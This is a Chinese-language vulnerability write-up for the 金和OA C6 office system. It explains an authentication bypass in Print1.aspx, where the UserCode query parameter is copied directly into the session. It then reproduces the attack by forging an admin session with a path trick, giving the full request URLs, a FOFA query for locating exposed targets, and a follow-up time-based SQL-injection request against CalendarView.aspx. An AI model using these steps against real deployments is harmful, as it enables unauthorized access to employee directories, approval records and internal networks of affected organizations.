漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。该系统的 Print1.aspx 文件处理模块存在权限校验逻辑漏洞,攻击者可通过构造特定请求参数(如用户身份标识或路径参数)绕过正常权限控制机制,直接访问未授权的敏感接口或资源。该漏洞可能导致内部文件泄露、未授权操作执行等风险,攻击者可借此获取员工通讯录、审批流程记录等核心业务数据,甚至通过横向渗透进一步威胁企业内网安全。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 Print1.aspx 的源码,在 bin 目录下查找 JHBase.Web.Calendar.dll 将其进行反编译后找到 Print1 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
if (this.Request.QueryString["UserCode"] != null)
this.strUserCode = this.Request.QueryString["UserCode"].ToString();
if (this.Session["UserCode"] == null)
this.Session["UserCode"] = (object) this.strUserCode;
this.InitText();
}
参数UserCode的值被直接赋值到session里了,就绕过了系统的权限校验。
漏洞复现
本来在不使用xxx.aspx/ 这绕过权限姿势时,是会重定向到登录页面,甚至代码逻辑中带有session校验的即使使用 xxx.aspx/ 这种姿势也不行时,还是会被重定向到登录页或者因为session校验不通过报错而不能继续执行代码的

还是有限制,需要绕过系统对aspx的拦截
通过先访问 /c6/Jhsoft.Web.calendar/public/Print1.aspx/?UserCode=admin 来获取session

再携带session的cookie进行利用即可成功利用
GET /c6/Jhsoft.Web.Calendar/CalendarView.aspx?CalendarId=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net
Cookie: ASP.NET_SessionId=xxxxxx

成功延时 4 秒

